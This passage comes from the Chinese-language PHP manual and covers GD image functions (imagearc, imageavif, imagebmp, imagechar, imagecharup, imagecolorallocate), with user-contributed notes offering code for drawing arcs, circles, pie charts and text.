          for ( $yy = $y - 0.45; $yy < $y + 0.5; $yy+=0.1 ) {
            $rxx = $xx - $cx; $ryy = $yy - $cy;
            if ( sqrt(pow($rxx, 2) + pow($ryy, 2)) < $r ) $filled++;
          }
        }
        $red = round($bgcolors['red'] + ( $fgcolors['red'] - $bgcolors['red'] ) * $filled / 100);
        $green = round($bgcolors['green'] + ( $fgcolors['green'] - $bgcolors['green'] ) * $filled / 100);
        $blue = round($bgcolors['blue'] + ( $fgcolors['blue'] - $bgcolors['blue'] ) * $filled / 100);
        imagesetpixel($im, $x, $y, imagecolorclosest($im, $red, $green, $blue));
      }
    }
  }
}

$width = 160;
$height = 200;
$r = 20;
$bgc = "651713";
$fgc = "b12b2c";

$im = imagecreate($width, $height);
$bgcolor = imagecolorallocate($im, hexdec(substr($bgc, 0, 2)), hexdec(substr($bgc, 2, 2)), hexdec(substr($bgc, 4, 2)));
for( $i = 0; $i < 100; $i++ ) {
    imagecolorallocate($im, ( hexdec(substr($fgc, 0, 2)) + $i*hexdec(substr($bgc, 0, 2))) / ($i + 1), ( hexdec(substr($fgc, 2, 2)) + $i*hexdec(substr($bgc, 2, 2))) / ($i + 1), ( hexdec(substr($fgc, 4, 2)) + $i*hexdec(substr($bgc, 4, 2))) / ($i + 1));
}
$fgcolor = imagecolorclosest($im, hexdec(substr($fgc, 0, 2)), hexdec(substr($fgc, 2, 2)), hexdec(substr($fgc, 4, 2)));

imagefilledcircleantialiased($im, 80, 100, $r, $fgcolor, $bgcolor);

header("Content-Type: image/png");
imagepng($im);
?>
An improvement would be to draw the inner rectangle or more rectangles in the circle with the builtin rectangle function to reduce the usage of imagesetpixel() from (2*r)^2 to 2*Pi*(r + epsilon), in other words, the dependency on r would break down from square to linear.
Another improvement would be to determine filled and unfilled triangles in the observed pixel and calculate their areas, so we can get rid of the inner loops for getting the fraction filled/unfilled.
One can easily modify this function to solve other problems like lines, unfilled circles, etc.
trimbo 06-Sep-2005 12:25
So far using PHP 5.0.4 I've managed to get Imageantialias() to work well with:
ImageLine()
ImagePolygon()

but not with:
ImageArc()
ImageEllipse()
ImageFilled*()

You can still draw antialiased filled polygons by drawing a hollow polygon on top of a filled one with the same dimensions:
<?php
        $points=array($x,$y, $x2,$y2, $x3,$y3);
        imageFilledPolygon($im, $points, 3, $gray );
        imagePolygon($im, $points, 3, $gray );
?>


画弧线

  • ? imageantialias
  • imageavif ?
  • PHP Manual
  • GD 和图像处理 函数
  • 画弧线

imagearc

(PHP 4, PHP 5, PHP 7, PHP 8)

imagearc — 画弧线

说明

imagearc(
GdImage $image,
int $center_x,
int $center_y,
int $width,
int $height,
int $start_angle,
int $end_angle,
int $color
): bool

imagearc() 绘制以指定坐标为中心的弧线。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

center_x

中心的 x 坐标。

center_y

中心的 y 坐标。

width

弧宽。

height

弧高。

start_angle

弧线起始角度，以度为单位。

end_angle

弧线结束角度，以度为单位。0° 位于三点钟位置，顺时针绘制弧线。

color

颜色标识符使用 imagecolorallocate() 创建。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

Example #1 使用 imagearc() 画圆

<?php

// 创建 200*200 图像
$img = imagecreatetruecolor(200, 200);

// 分配一些颜色
$white = imagecolorallocate($img, 255, 255, 255);
$red = imagecolorallocate($img, 255, 0, 0);
$green = imagecolorallocate($img, 0, 255, 0);
$blue = imagecolorallocate($img, 0, 0, 255);

// 画头
imagearc($img, 100, 100, 200, 200, 0, 360, $white);
// 嘴
imagearc($img, 100, 100, 150, 150, 25, 155, $red);
// 先左眼，然后右眼
imagearc($img, 60, 75, 50, 50, 0, 360, $green);
imagearc($img, 140, 75, 50, 50, 0, 360, $blue);

// 在浏览器中输出图像
header("Content-type: image/png");
imagepng($img);

// 释放内存
imagedestroy($img);

?>

以上示例的输出类似于：

示例输出：使用 imagearc() 画圆

参见

  • imagefilledarc() - 绘制部分弧形并填充
  • imageellipse() - 画椭圆
  • imagefilledellipse() - 绘制椭圆并填充

User Contributed Notes

cleverphp 11-May-2018 02:25
imagearc example works not well,as it lacks of this line
"$white = imagecolorallocate($img, 255, 255, 255);
    imagefill($img,0,0,$white);
    $black = imagecolorallocate($img, 0, 0, 0);
"
lucas dot delmas at live dot fr 07-Jul-2013 07:15
The imagearc function has a precision of one degree. The function truncates the $start and $end values to the inferior degree.

For example if the starting angle you calculated is : -178.62450462172°
and the ending angle is : -152.78056427917°
imagearc will draw a curve from -178° to -152°.

If you need accurate curves drawing, you need to use a loop to draw little step-by-step lines. By creating a large number of short enough lines, you will create the impression of a curve with accuracy.
joe dot tym at gmail dot com 02-Oct-2012 05:08
I didn't have much luck with the other two functions, one of them makes circles that look like they've been printed on a dot-matrix printer. This simple function builds a border out of circles, seems to work nicely.

<?php
function imagearcunfilled($image,$x,$y,$width,$height,$border_thickness, $color) {

        imagesetthickness($image, 1);

        $x_radius = $width / 2;
        $y_radius = $height / 2;

        for ($i = 0; $i < 360; $i++) {
                if (TRUE) {
                        $x2 = $x + cos($i) * $x_radius;
                        $y2 = $y + sin($i) * $y_radius;
                        imagefilledarc($image,$x2,$y2,$border_thickness,$border_thickness,0,360,$color,IMG_ARC_PIE);
                }
        }
}
?>
chandlerklebs at gmail dot com 07-Jan-2012 10:24
This is an example script I wrote for myself to help me learn how to used the imagearc functions. Maybe if will also help others.

<?php
//example PHP script of imagearc functions
$image_width=360;$image_height=360;
$img = imagecreatetruecolor($image_width,$image_height); //make image variable

//create a background color by making a filled rectangle
$color = imagecolorallocate($img,255,255,255);
imagefilledrectangle($img,0,0,$image_width,$image_height,$color);

$r=$image_width/2 - $image_width/32 ; //radius
$cx=$image_width/2;
$cy=$image_height/2;

$color = imagecolorallocate($img,0,0,0);
imagearc($img, $cx, $cy, $r*2, $r*2,  0, 360, $color); //regular outlines arc

imagefilledarc($img, $cx, $cy, $r*1, $r*1,  0, 90, $color,IMG_ARC_CHORD); //filled triangle with chord of circle
imagefilledarc($img, $cx, $cy, $r*1, $r*1,  180, 270, $color,IMG_ARC_PIE); //pie slice

$font_number=5; //can use built in fonts numbered 1 to 5
$string="Hello world!";
imagestring($img, $font_number, $cx-(imagefontwidth($font_number)*strlen($string))/2, $cy-120, $string, $color);

header("Content-type: image/png");
imagepng($img);// output image in the browser

$filename="imagearc";
imagepng($img,"./frames/$filename.png",9); //make highly compressed png

imagedestroy($img);
?>
ajim1417 at gmail dot com 28-Jan-2010 07:42
I wrote a simple function that can draws an arc counter-clockwisekly. Here it is :

<?php

function imagearcCC(&$im, $cx, $cy, $w, $h, $s, $e, $c) {
$start = 360 - $e;
$end = 360 - $s;
return imagearc($im, $cx, $cy, $w, $h, $start, $end, $c);
}

?>

The params of this function is exactly the same as the usual imagearc function.
anton dot vandeghinste at telenet dot be 13-Dec-2009 07:27
I needed an arc with a thick border and i didn't like to use 359.9 as end angle so i made a function that works pretty well:

<?php
function imagearcthick($image, $x, $y, $w, $h, $s, $e, $color, $thick = 1)
{
    if($thick == 1)
    {
        return imagearc($image, $x, $y, $w, $h, $s, $e, $color);
    }
    for($i = 1;$i<($thick+1);$i++)
    {
        imagearc($image, $x, $y, $w-($i/5), $h-($i/5),$s,$e,$color);
        imagearc($image, $x, $y, $w+($i/5), $h+($i/5), $s, $e, $color);
    }
}
?>
mojiro at awmn dot net 13-Dec-2005 12:28
A previous for the Rotated (Filled)Ellipse note from(nojer2 at yahoo dot com, 02-Apr-2001 12:06) has a mistake, at the second arc. Replace them with the following listing.

if ($filled) {
    triangle($im, $cx, $cy, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
    triangle($im, $cx, $cy, $cx-$px, $cy-$py, $cx-$x, $cy-$y, $colour);
} else {
    imageline($im, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
    imageline($im, $cx-$px, $cy-$py, $cx-$x, $cy-$y, $colour);
}
jerryscript at aol dot com 26-Dec-2003 02:05
[note-Apache/1.3.29 (Win32) PHP/4.3.4]

The imagearc (and imageellipse) functions do not accept line thicknesses when drawn from 0 to 360 degrees.

Drawing from 0 to 359 and again from 359 to 360 does create an ellipse with the current line thickness.

Jerry
eamon at hostelworld dot com 17-Dec-2003 07:24
Right...
possibly the easiest way of drawing a filled circle:
Loop through the imagearc function incrementing the diameter by one pixel:
<?
 // --- code fragment --- //

for($i=1; $i<$Diameter; $i++){
  imagearc($Image, $CenterX, $CenterY, $i, $i, $Start, $End, $Color);
}

// --------------------- //

?>

This works great for circles with diameters up to about 60 or 70 pixels wide. After that, you start to get pixle gaps.
logang at deltatee dot com 04-Aug-2003 08:19
Heres a function to make a curve between two points... This will be a downward curve but it wouldn't be hard to make a similar function to make an upward curve. The first point has to be to the left of the second point ($x1 < $x2), and height is actually backwards. The larger height is the less of a crest the curve has. I imagine with a few modifications this functions could make upward curves as well.

function ImageCurveDown ($image, $x1, $y1, $x2, $y2, $height, $color) {
    $presicion = 1;

    for ($left = ($x1-$x2); $left < 0; $left++){
        if ($y1 < $y2) {
            $cy = $y2 + $height;
            $cx = $x1 - $left;
        } else {
            $cy = $y1 + $height;
            $cx = $x2 + $left;
        }
        $nx1 = abs($x1 - $cx);
        $ny1 = abs($y1 - $cy);
        $nx2 = abs($x2 - $cx);
        $ny2 = abs($y2 - $cy);

        if ($y1 < $y2) {
            if ($nx2 == 0 || $ny1 == 0) continue;
            $angle1 = atan($height/$nx2);
            $A1 = $nx2/cos ($angle1);
            $B1 = $ny2/sin ($angle1);
            $angle2 = pi()/2 +atan($left/$ny1);
            $A2 = $nx1/cos ($angle2);
            $B2 = $ny1/sin ($angle2);
        } else {
            if ($ny2 == 0 || $nx1 == 0) continue;
            $angle1 = atan($ny2/$nx2);
            $A1 = abs($nx2/cos ($angle1));
            $B1 = abs($ny2/sin ($angle1));
            $angle2 = atan($height/$nx1);
            $A2 = abs ($nx1/cos ($angle2));
            $B2 = abs($ny1/sin ($angle2));
        }

        if (abs($A1 - $A2) < $presicion && abs ($B1 - $B2) < $presicion) {
            ImageArc($image, $cx, $cy, $A1*2, $B1*2, 180+rad2deg($angle2), 360-rad2deg($angle1), $color);
        }
    }
}
23-Jan-2003 08:55
Please note that in order to draw a complete circle or ellipse (without using the imageellipse) you mustn't use 0? for both s and e. If you do this you will get, umm, nothing. Instead set s to 0? and e to 360? to get a complete circle or ellipse.
jinny at 263 dot net 13-May-2002 10:27
imagesetstyle() sets the style to be used by all line drawing functions when drawing with the special color .

Here goes a example of drawing a dashed-line circle.enjoy!

<?php

header("Content-type: image/jpeg");
$im = imagecreate(100,100);

$b   = imagecolorallocate ($im, 0, 0, 0);
$w   = imagecolorallocate ($im, 255, 255, 255);

$style = array ($b,$b,$b,$b,$b,$w,$w,$w,$w,$w);

imagesetstyle ($im, $style);

imagearc($im,50,50,100,100,0,360,IMG_COLOR_STYLED);

imagejpeg($im);
imagedestroy($im);
?>
arve at skogvold dot as 30-Nov-2001 01:04
I found a better way for drawing a pie chart:

header ("Content-type: image/png");
$diameter = 100;
$radius = $diameter / 2;
$centerX = $radius;
$centerY = $radius;

$im = @ImageCreate ($diameter, $diameter)
    or die ("Cannot Initialize new GD image stream");

$background = ImageColorAllocate ($im, 0, 0, 0);
$red = ImageColorAllocate ($im, 176, 0, 0);

function fill_arc($start, $end, $color) {
    global $diameter, $centerX, $centerY, $im, $radius;
    imagearc($im, $centerX, $centerY, $diameter, $diameter, $start, $end, $color);
    imageline($im, $centerX, $centerY, $centerX + cos(deg2rad($start)) * $radius, $centerY + sin(deg2rad($start)) * $radius, $color);
    imageline($im, $centerX, $centerY, $centerX + cos(deg2rad($end)) * $radius, $centerY + sin(deg2rad($end)) * $radius, $color);
    imagefill ($im,$centerX + $radius * 0.5 *cos(deg2rad($start+($end-$start)/2)), $centerY + $radius * 0.5 * sin(deg2rad($start+($end-$start)/2)), $color);
    }

fill_arc(0,30,$red);
// Will make a red filled arc, starting at 0 degrees, ending at 30 degrees

ImagePng ($im);
marc at resiteit dot com 08-Nov-2001 01:04
Round cornered anti-aliased dynamically sized button.

$w=40;
$h=20;
$im = ImageCreate($w,$h);
$white=ImageColorAllocate($im,255,255,255);
ImageFilledRectangle($im,0,0,$w,$h,$white);
imagecolortransparent ($im, $white);
ImageTTFText ($im, $h+ceil($h/3)+1, 0, -1, $h-1, $col1, "arialbd.ttf", "O");
ImageTTFText ($im, $h+ceil($h/3)+1, 0, $w-$h, $h-1, $col1, "arialbd.ttf", "O");
ImageTTFText ($im, $h+ceil($h/3)+1, 0, 1, $h-1, $col1, "arialbd.ttf", "O");
ImageTTFText ($im, $h+ceil($h/3)+1, 0, $w-$h-2, $h-1, $col1, "arialbd.ttf", "O");
$points=array(
    1,round($h/2),
    round($h/4),$h-round($h/4),
    round($h/2),$h,
    $w-(round($h/2)),$h,
    $w-(round($h/4)),$h-round($h/4),
    $w-2,round($h/2),
    $w-round($h/4),round($h/4),
    $w-round($h/2),0,
    round($h/2),0,
    round($h/4),round($h/4)
);
imagefilledpolygon ($im, $points, 10, $col1);

header("content-type: image/gif");
header("Content-Disposition: filename=name.gif");
ImageGif($im);
ImageDestroy($im);
foripepe at yahoo dot com 02-Sep-2001 09:56
To fill an arc (DiameterX != DiameterY):

<?
function imagefilledarc($Image, $CenterX, $CenterY, $DiameterX, $DiameterY, $Start, $End, $Color) {
    // To draw the arc
    imagearc($Image, $CenterX, $CenterY, $DiameterX, $DiameterY, $Start, $End, $Color);
    // To close the arc with 2 lines between the center and the 2 limits of the arc
    $x = $CenterX + (cos(deg2rad($Start))*($DiameterX/2));
    $y = $CenterY + (sin(deg2rad($Start))*($DiameterY/2));
    imageline($Image, $x, $y, $CenterX, $CenterY, $Color);
    $x = $CenterX + (cos(deg2rad($End))*($DiameterX/2));
    $y = $CenterY + (sin(deg2rad($End))*($DiameterY/2));
    imageline($Image, $x, $y, $CenterX, $CenterY, $Color);
    // To fill the arc, the starting point is a point in the middle of the closed space
    $x = $CenterX + (cos(deg2rad(($Start+$End)/2))*($DiameterX/4));
    $y = $CenterY + (sin(deg2rad(($Start+$End)/2))*($DiameterY/4));
    imagefilltoborder($Image, $x, $y, $Color, $Color);
}
?>

To close the arc with 2 lines (DiameterX != DiameterY):

<?
function imagenofilledarc($Image, $CenterX, $CenterY, $DiameterX, $DiameterY, $Start, $End, $Color) {
    // To draw the arc
    imagearc($Image, $CenterX, $CenterY, $DiameterX, $DiameterY, $Start, $End, $Color);
    // To close the arc with 2 lines between the center and the 2 limits of the arc
    $x = $CenterX + (cos(deg2rad($Start))*($DiameterX/2));
    $y = $CenterY + (sin(deg2rad($Start))*($DiameterY/2));
    imageline($Image, $x, $y, $CenterX, $CenterY, $Color);
    $x = $CenterX + (cos(deg2rad($End))*($DiameterX/2));
    $y = $CenterY + (sin(deg2rad($End))*($DiameterY/2));
    imageline($Image, $x, $y, $CenterX, $CenterY, $Color);
}
?>

An example:
<?
    $destImage = imagecreate( 216, 152 );
    $c0 = imagecolorallocate( $destImage, 0, 255, 255 );
    $c1 = imagecolorallocate( $destImage, 0, 0, 0 );
    $c2 = imagecolorallocate( $destImage, 255, 0, 0 );
    ImageFilledRectangle ( $destImage, 0, 0, 216, 152, $c0 );
    imagefilledarc( $destImage, 108, 76, 180, 80, 0, 130, $c1 );
    imagenofilledarc( $destImage, 108, 76, 180, 80, 0, 130, $c2 );
    header("content-type: image/PNG");
    ImagePNG( $destImage );
    ImageDestroy( $destImage );
?>
nojer2 at yahoo dot com 01-Apr-2001 02:18
Here's a dashed circle function:

<?php
function dashedcircle($im, $cx, $cy, $radius, $colour, $dashsize=5) {

   $dash=false;
   for ($angle=0; $angle<=(180+$dashsize); $angle+=$dashsize) {
      $x = ($radius * cos(deg2rad($angle)));
      $y = ($radius * sin(deg2rad($angle)));

      if ($dash) {
         imageline($im, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
         imageline($im, $cx-$px, $cx-$py, $cx-$x, $cy-$y, $colour);
      }
      $dash=!$dash;
      $px=$x;
      $py=$y;
   }
}
?>
nojer2 at yahoo dot com 01-Apr-2001 02:06
Here's the function to draw rotated ellipses again. This time I've optimised it a bit, fixed the no-fill bug, and used a 'squishratio' rather than a 'radiusmodifier', to make the curves perfect, so ignore my previous version.

<?php
function rotatedellipse($im, $cx, $cy, $width, $height, $rotateangle, $colour, $filled=true) {
   $step=2;
   $cosangle=cos(deg2rad($rotateangle));
   $sinangle=sin(deg2rad($rotateangle));

   $squishratio = $height/$width;
   $nopreviouspoint = true;
   for ($angle=0; $angle<=(180+$step); $angle+=$step) {

      $ox = ($width * cos(deg2rad($angle)));
      $oy = ($width * sin(deg2rad($angle))) * $squishratio;

      $x =  + (($ox * $cosangle) - ($oy * $sinangle));
      $y = $centrey + (($ox * $sinangle) + ($oy * $cosangle));

      if ($nopreviouspoint) {
        $px=$x;
        $py=$y;
        $nopreviouspoint=false;
      }

      if ($filled) {
         triangle($im, $cx, $cy, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
         triangle($im, $cx, $cy, $cx-$px, $cx-$py, $cx-$x, $cy-$y, $colour);
      } else {
         imageline($im, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
         imageline($im, $cx-$px, $cx-$py, $cx-$x, $cy-$y, $colour);
      }
      $px=$x;
      $py=$y;
   }
}

function triangle($im, $x1,$y1, $x2,$y2, $x3,$y3, $colour) {
   $coords = array($x1,$y1, $x2,$y2, $x3,$y3);
   imagefilledpolygon($im, $coords, 3, $colour);
}
?>
cbriou at orange-art dot fr 17-Sep-2000 07:03
There is another way to fill an arc :

<?php
// To draw the arc
$Color = imagecolorallocate($Image, $Red, $Green, $Blue);
imagearc($Image, $CenterX, $CenterY, $Diameter, $Diameter, $Start, $End, $Color);
// To close the arc with 2 lines between the center and the 2 limits of the arc
$x = $CenterX + (cos(deg2rad($Start))*($Diameter/2));
$y = $CenterY + (sin(deg2rad($Start))*($Diameter/2));
imageline($Image, $x, $y, $CenterX, $CenterY, $Color);
$x = $CenterX + (cos(deg2rad($End))*($Diameter/2));
$y = $CenterY + (sin(deg2rad($End))*($Diameter/2));
imageline($Image, $x, $y, $CenterX, $CenterY, $Color);
// To fill the arc, the starting point is a point in the middle of the closed space
$x = $CenterX + (cos(deg2rad(($Start+$End)/2))*($Diameter/4));
$y = $CenterY + (sin(deg2rad(($Start+$End)/2))*($Diameter/4));
imagefilltoborder($Image, $x, $y, $Color, $Color);
?>
timothyhouck at yahoo dot com 16-Aug-2000 03:58
To do filled arcs, try something like this:

<?php
$diameter = 50;
imagearc($image, 25, 25, $diameter, $diameter, $start, $end, $color);
while($diameter > 0) {
  imagearc($image, 25, 25, $diameter, $diameter, $start, $start + 1, $color);
  imagearc($image, 25, 25, $diameter, $diameter, $end - 1, $end, $color);
  $diameter--;
}
?>

...well you get the point.  It's a kludge, and *very* slow, but it's free.
travis at duluth dot com 22-Dec-1999 06:36
The wierd thing is that the first two integers tell where to place the "circle".
So for example I first create the "pallet" to place the circle on.
$image = imagecreate(500, 500);
(this makes a huge 500x500 gif :) )
$colorBody = imagecolorallocate($image, 0, 0, 0);
(make the default color of the "pallet" black
$circleColor = imagecolorallocate($image, 255, 0, 255);
(going to make the circle an ugly pink color)
imagearc($image, 250, 250, 300, 300, 0, 360, $circleColor);
Places the image in the center (250,250) and the circle is 300 pixels in diameter.

Hope this helps.

Travis Kent Beste


输出图象到浏览器或文件。

  • ? imagearc
  • imagebmp ?
  • PHP Manual
  • GD 和图像处理 函数
  • 输出图象到浏览器或文件。

imageavif

(PHP 8 >= 8.1.0)

imageavif — 输出图象到浏览器或文件。

说明

imageavif(
GdImage $image,
resource|string|null $file = null,
int $quality = -1,
int $speed = -1
): bool

Outputs or saves a AVIF Raster image from the given image.

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

file

文件保存的路径或者已打开的流资源（此方法返回后自动关闭该流资源），如果未设置或为 null，将会直接输出原始图象流。

quality

quality is optional, and ranges from 0 (worst quality, smaller file) to 100 (best quality, larger file). If -1 is provided, the default value 30 is used.

speed

speed is optional, and ranges from 0 (slow, smaller file) to 10 (fast, larger file). If -1 is provided, the default value 6 is used.

返回值

成功时返回 true， 或者在失败时返回 false。

Caution

如果 libgd 输出图像失败，函数会返回 true。

参见

  • imagepng() - 将 PNG 图像输出到浏览器或文件
  • imagewbmp() - 输出图象到浏览器或文件。
  • imagejpeg() - 输出图象到浏览器或文件。
  • imagetypes() - 返回 PHP 内置支持的图像类型

User Contributed Notes

avi at orons dot pro 28-Oct-2022 06:31
Usage example:
$image = imagecreatefromjpeg('test.jpg');  //read a jpg file
imageavif($image, 'test.avif');  //save an avif file


Output a BMP image to browser or file

  • ? imageavif
  • imagechar ?
  • PHP Manual
  • GD 和图像处理 函数
  • Output a BMP image to browser or file

imagebmp

(PHP 7 >= 7.2.0, PHP 8)

imagebmp — Output a BMP image to browser or file

说明

imagebmp(GdImage $image, resource|string|null $file = null, bool $compressed = true): bool

Outputs or saves a BMP version of the given image.

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

file

文件保存的路径或者已打开的流资源（此方法返回后自动关闭该流资源），如果未设置或为 null，将会直接输出原始图象流。

Note:

null is invalid if the compressed arguments is not used.

compressed

Whether the BMP should be compressed with run-length encoding (RLE), or not.

返回值

成功时返回 true， 或者在失败时返回 false。

Caution

如果 libgd 输出图像失败，函数会返回 true。

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。
8.0.0 | The type of compressed is bool now; formerly it was int.

示例

Example #1 Saving a BMP file

<?php
// Create a blank image and add some text
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);

imagestring($im, 1, 5, 5, 'BMP with PHP', $text_color);

// Save the image
imagebmp($im, 'php.bmp');

// Free up memory
imagedestroy($im);
?>

User Contributed Notes

There are no user contributed notes for this page.


水平地绘制一个字符

  • ? imagebmp
  • imagecharup ?
  • PHP Manual
  • GD 和图像处理 函数
  • 水平地绘制一个字符

imagechar

(PHP 4, PHP 5, PHP 7, PHP 8)

imagechar — 水平地绘制一个字符

说明

imagechar(
GdImage $image,
GdFont|int $font,
int $x,
int $y,
string $char,
int $color
): bool

imagechar() 将 char 的首个字符绘制在 image 标识的图像中，其左上角位于 x，y（图像左上角为 0, 0），颜色为 color。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

font

取值对于内建的 latin2 编码字体可以是：1、2、3、4、5(更高的数字对应更大的字体)， 或是通过 imageloadfont() 返回的 GdFont 实例。

x

起点的 x 坐标。

y

起点的 y 坐标。

char

要绘制的字符。

color

颜色标识符使用 imagecolorallocate() 创建。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | font 参数现在接受 GdFont 实例和 int，之前仅接受 int。
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

Example #1 imagechar() 示例

<?php

$im = imagecreate(100, 100);

$string = 'PHP';

$bg = imagecolorallocate($im, 255, 255, 255);
$black = imagecolorallocate($im, 0, 0, 0);

// 在左上角打印一个黑色"P"
imagechar($im, 1, 0, 0, $string, $black);

header('Content-type: image/png');
imagepng($im);

?>

以上示例的输出类似于：

参见

  • imagecharup() - 垂直地绘制一个字符
  • imageloadfont() - 载入新字体

User Contributed Notes

liam dot wiltshire at lineone dot net 29-Mar-2009 03:11
A quick function to automatically generate a multi line image from a string, with the image size automatically calculated from the string itself.

<?php

function multilineimage($string){

    // Probably not the best way of handling newlines, but bar OS9, doesn't really cause a problem
    $string = str_replace("\r","",$string);
    $string = explode("\n",$string);

    $maxlen = 0;
    foreach ($string as $str){
        if (strlen($str) > $maxlen){
            $maxlen = strlen($str);
        }
    }

    // Set font size
    $font_size = 4;

    // Create image width dependant on width of the string
    $width  = imagefontwidth($font_size)*$maxlen;
    // Set height to that of the font
    $height = imagefontheight($font_size) * count($string);
    // Create the image pallette
    $img = imagecreate($width,$height);
    // Grey background
    $bg    = imagecolorallocate($img, 205, 255, 255);
    // White font color
    $color = imagecolorallocate($img, 0, 0, 0);

    $ypos = 0;

    foreach ($string as $str){

        $len = strlen($str);
        for($i=0;$i<$len;$i++){
            // Position of the character horizontally
            $xpos = $i * imagefontwidth($font_size);
            // Draw character
            imagechar($img, $font_size, $xpos, $ypos, $str, $color);
            // Remove character from string
            $str = substr($str, 1);
        }
        $ypos = $ypos + imagefontheight($font_size);
    }

    // Return the image
    header("Content-Type: image/gif");
    imagegif($img);
    // Remove image
    imagedestroy($img);
}

multilineimage("This is an image
This is line 2\nLine 3
Line 4");

?>
sw at profilschmiede dot de 20-Jun-2005 08:35
For the sake of completeness, here is an example for imagechar.
The base-image automatically adjusts to the size and the height of the given string. Using the rand()-function the y-position of each char is slightly varied with every loop-run. You can easily rewrite the script to use a randomly generated string - the one given here just serves as an example.

<?php

$string = '1 2 3 4 5 6 7 8 9 A B C D E F G';
$font_size = 5;
$width=imagefontwidth($font_size)*strlen($string);
$height=imagefontheight($font_size)*2;
$img = imagecreate($width,$height);
$bg = imagecolorallocate($img,225,225,225);
$black = imagecolorallocate($img,0,0,0);
$len=strlen($string);

for($i=0;$i<$len;$i++)
{
    $xpos=$i*imagefontwidth($font_size);
    $ypos=rand(0,imagefontheight($font_size));
    imagechar($img,$font_size,$xpos,$ypos,$string,$black);
    $string = substr($string,1);

}
header("Content-Type: image/gif");
imagegif($img);
imagedestroy($img);
?>


垂直地绘制一个字符

  • ? imagechar
  • imagecolorallocate ?
  • PHP Manual
  • GD 和图像处理 函数
  • 垂直地绘制一个字符

imagecharup

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecharup — 垂直地绘制一个字符

说明

imagecharup(
GdImage $image,
GdFont|int $font,
int $x,
int $y,
string $char,
int $color
): bool

在指定 image 的特定坐标处竖直绘制字符 char。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

font

取值对于内建的 latin2 编码字体可以是：1、2、3、4、5(更高的数字对应更大的字体)， 或是通过 imageloadfont() 返回的 GdFont 实例。

x

起点的 x 坐标。

y

起点的 y 坐标。

char

要绘制的字符。

color

颜色标识符使用 imagecolorallocate() 创建。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | font 参数现在接受 GdFont 实例和 int，之前仅接受 int。
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

Example #1 imagecharup() 示例

<?php

$im = imagecreate(100, 100);

$string = 'Note that the first letter is a N';

$bg = imagecolorallocate($im, 255, 255, 255);
$black = imagecolorallocate($im, 0, 0, 0);

// 在白色背景上打印黑色"Z"
imagecharup($im, 3, 10, 10, $string, $black);

header('Content-type: image/png');
imagepng($im);

?>

以上示例的输出类似于：

参见

  • imagechar() - 水平地绘制一个字符
  • imageloadfont() - 载入新字体

User Contributed Notes

php at corzoogle dot com 16-Jun-2005 04:28
<?php
// incredibly, no one has added this.
// write a string of text vertically on an image..
// ;o)

$string = '(c) corz.org';
$font_size = 2;
$img = imagecreate(20,90);
$bg = imagecolorallocate($img,225,225,225);
$black = imagecolorallocate($img,0,0,0);

$len = strlen($string);
for ($i=1; $i<=$len; $i++) {
    imagecharup($img, $font_size, 5, imagesy($img)-($i*imagefontwidth($font_size)), $string, $black);
    $string = substr($string,1);
}
header('Content-type: image/png');
imagepng($img);
imagedestroy($img); // dudes! don't forget this!
?>


为图像分配颜色

  • ? imagecharup
  • imagecolorallocatealpha ?
  • PHP Manual
  • GD 和图像处理 函数
  • 为图像分配颜色

imagecolorallocate

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecolorallocate — 为图像分配颜色

说明

imagecolorallocate(
GdImage $image,
int $red,
int $green,
int $blue
): int|false

返回颜色标识符，表示由指定 RGB 成分组成的颜色。

必须调用 imagecolorallocate() 创建要在 image 表示的图像中使用的每种颜色。

Note:

第一次调用 imagecolorallocate() 会对基于调色板的图像填充背景色——使用 imagecreate() 建立的图像。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

red

红色成分的值。

green

绿色成分的值。

blue

蓝色成分的值。

这些参数是 0 到 255 之间的整数或者 0x00 到 0xFF 之间的十六进制数字。

返回值

颜色标识符，如果分配失败，则为 false。

Warning

此函数可能返回布尔值 false，但也可能返回等同于 false 的非布尔值。请阅读 布尔类型章节以获取更多信息。应使用 === 运算符来测试此函数的返回值。

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

Example #1 imagecolorallocate() 示例

<?php

$im = imagecreate(100, 100);

// 设置背景为红色
$background = imagecolorallocate($im, 255, 0, 0);

// 设置一些颜色
$white = imagecolorallocate($im, 255, 255, 255);
$black = imagecolorallocate($im, 0, 0, 0);

// 十六进制方式
$white = imagecolorallocate($im, 0xFF, 0xFF, 0xFF);
$black = imagecolorallocate($im, 0x00, 0x00, 0x00);

?>

参见

  • imagecolorallocatealpha() - 为图像分配颜色
  • imagecolordeallocate() - 取消图像颜色的分配

User Contributed Notes

divinity76 at gmail dot com 14-Mar-2016 09:30
you have VERY limited space for color indexes (255 indexes on my system, with over 10 GB ram available, cli, no memory limit), when there is no more indexes available, imagecolorallocate will return false. when you create 2x indexes with the same r/g/b, you waste this very limited space. the function below should never fail, AND never waste any color index space. if there's already an index with the rgb, it will return the existing index, else it will try allocate 1, in the event that allocation fail (presumably because all index space is used up already), it will return the closest match to what you requested, and warn you via $couldFindExact.

function myimagecolorallocate($gd,int $red,int $green,int $blue,bool &$couldFindExact=null):int{
    $ret=imagecolorexact($gd, $red, $green, $blue);
